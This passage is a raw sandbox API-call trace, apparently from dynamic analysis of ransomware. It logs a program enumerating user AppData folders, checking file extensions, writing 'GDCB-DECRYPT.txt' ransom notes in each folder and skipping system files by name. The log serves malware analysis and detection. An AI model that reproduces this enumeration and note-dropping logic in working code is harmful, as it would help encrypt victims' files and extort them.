(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts") returned 73 [0135.710] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.710] lstrcmpW (lpString1="Printer Shortcuts", lpString2=".") returned 1 [0135.710] lstrcmpW (lpString1="Printer Shortcuts", lpString2="..") returned 1 [0135.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Printer Shortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts" [0135.710] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 73 [0135.710] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.710] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0135.710] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0135.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0135.710] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 62 [0135.710] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.710] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0135.710] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0135.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo" [0135.710] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo") returned 62 [0135.710] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.710] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0135.710] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0135.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu" [0135.710] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 66 [0135.710] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.710] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0135.710] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0135.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates" [0135.710] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates") returned 65 [0135.710] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.710] lstrcmpW (lpString1="Themes", lpString2=".") returned 1 [0135.710] lstrcmpW (lpString1="Themes", lpString2="..") returned 1 [0135.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes" [0135.710] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes") returned 62 [0135.710] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.710] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.710] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\\\GDCB-DECRYPT.txt") returned 73 [0135.710] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.710] GetLastError () returned 0x50 [0135.710] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\") returned 56 [0135.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\*" [0135.710] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7640 [0135.711] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="AccountPictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures" [0135.711] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\" [0135.711] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.711] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.711] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.711] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.711] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\") returned 72 [0135.711] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*" [0135.711] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c79c0 [0135.711] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.711] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.711] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.711] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.711] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.711] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0135.711] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0135.711] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini" [0135.711] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned 83 [0135.711] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0135.711] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.711] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.711] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.711] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\GDCB-DECRYPT.txt" [0135.711] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\GDCB-DECRYPT.txt") returned 88 [0135.711] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.711] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.711] FindClose (in: hFindFile=0x2c79c0 | out: hFindFile=0x2c79c0) returned 1 [0135.711] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\\\GDCB-DECRYPT.txt") returned 89 [0135.711] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\accountpictures\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.712] GetLastError () returned 0x50 [0135.712] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\") returned 72 [0135.712] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*" [0135.712] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7680 [0135.712] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini" [0135.712] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned 83 [0135.712] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned 83 [0135.712] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned 83 [0135.712] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned 83 [0135.712] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0135.712] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\GDCB-DECRYPT.txt" [0135.712] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\GDCB-DECRYPT.txt") returned 88 [0135.712] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\GDCB-DECRYPT.txt") returned 88 [0135.712] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\GDCB-DECRYPT.txt") returned 88 [0135.712] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\GDCB-DECRYPT.txt") returned 88 [0135.712] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.712] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.712] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.712] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.712] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.712] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.712] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.712] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.712] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.713] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\GDCB-DECRYPT.txt") returned 72 [0135.713] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\GDCB-DECRYPT.txt") returned 72 [0135.713] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\GDCB-DECRYPT.txt") returned 72 [0135.713] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\GDCB-DECRYPT.txt") returned 72 [0135.713] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.713] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.713] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.713] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.713] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.713] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.713] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.713] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.713] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.713] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.713] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.713] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.713] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.713] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned 66 [0135.713] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*" [0135.713] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7900 [0135.713] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.713] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.713] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.713] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.713] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.713] lstrcmpW (lpString1="CameraRoll.library-ms", lpString2=".") returned 1 [0135.713] lstrcmpW (lpString1="CameraRoll.library-ms", lpString2="..") returned 1 [0135.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="CameraRoll.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms" [0135.714] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms") returned 87 [0135.714] lstrcmpW (lpString1=".library-ms", lpString2=".sql") returned -1 [0135.714] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.714] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0135.714] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0135.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini" [0135.714] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned 77 [0135.714] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0135.714] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.714] lstrcmpW (lpString1="Documents.library-ms", lpString2=".") returned 1 [0135.714] lstrcmpW (lpString1="Documents.library-ms", lpString2="..") returned 1 [0135.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="Documents.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms" [0135.714] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms") returned 86 [0135.714] lstrcmpW (lpString1=".library-ms", lpString2=".sql") returned -1 [0135.714] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.714] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.714] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\GDCB-DECRYPT.txt" [0135.714] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\GDCB-DECRYPT.txt") returned 82 [0135.714] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.714] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.714] lstrcmpW (lpString1="Music.library-ms", lpString2=".") returned 1 [0135.714] lstrcmpW (lpString1="Music.library-ms", lpString2="..") returned 1 [0135.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="Music.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms" [0135.714] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms") returned 82 [0135.714] lstrcmpW (lpString1=".library-ms", lpString2=".sql") returned -1 [0135.714] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.714] lstrcmpW (lpString1="Pictures.library-ms", lpString2=".") returned 1 [0135.714] lstrcmpW (lpString1="Pictures.library-ms", lpString2="..") returned 1 [0135.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="Pictures.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms" [0135.714] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms") returned 85 [0135.714] lstrcmpW (lpString1=".library-ms", lpString2=".sql") returned -1 [0135.714] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.714] lstrcmpW (lpString1="SavedPictures.library-ms", lpString2=".") returned 1 [0135.714] lstrcmpW (lpString1="SavedPictures.library-ms", lpString2="..") returned 1 [0135.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="SavedPictures.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms" [0135.714] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms") returned 90 [0135.714] lstrcmpW (lpString1=".library-ms", lpString2=".sql") returned -1 [0135.714] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.714] lstrcmpW (lpString1="Videos.library-ms", lpString2=".") returned 1 [0135.714] lstrcmpW (lpString1="Videos.library-ms", lpString2="..") returned 1 [0135.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="Videos.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms" [0135.714] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms") returned 83 [0135.714] lstrcmpW (lpString1=".library-ms", lpString2=".sql") returned -1 [0135.714] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.714] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.715] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\\\GDCB-DECRYPT.txt") returned 83 [0135.715] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\libraries\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.716] GetLastError () returned 0x50 [0135.716] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned 66 [0135.716] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*" [0135.716] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c77c0 [0135.717] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: 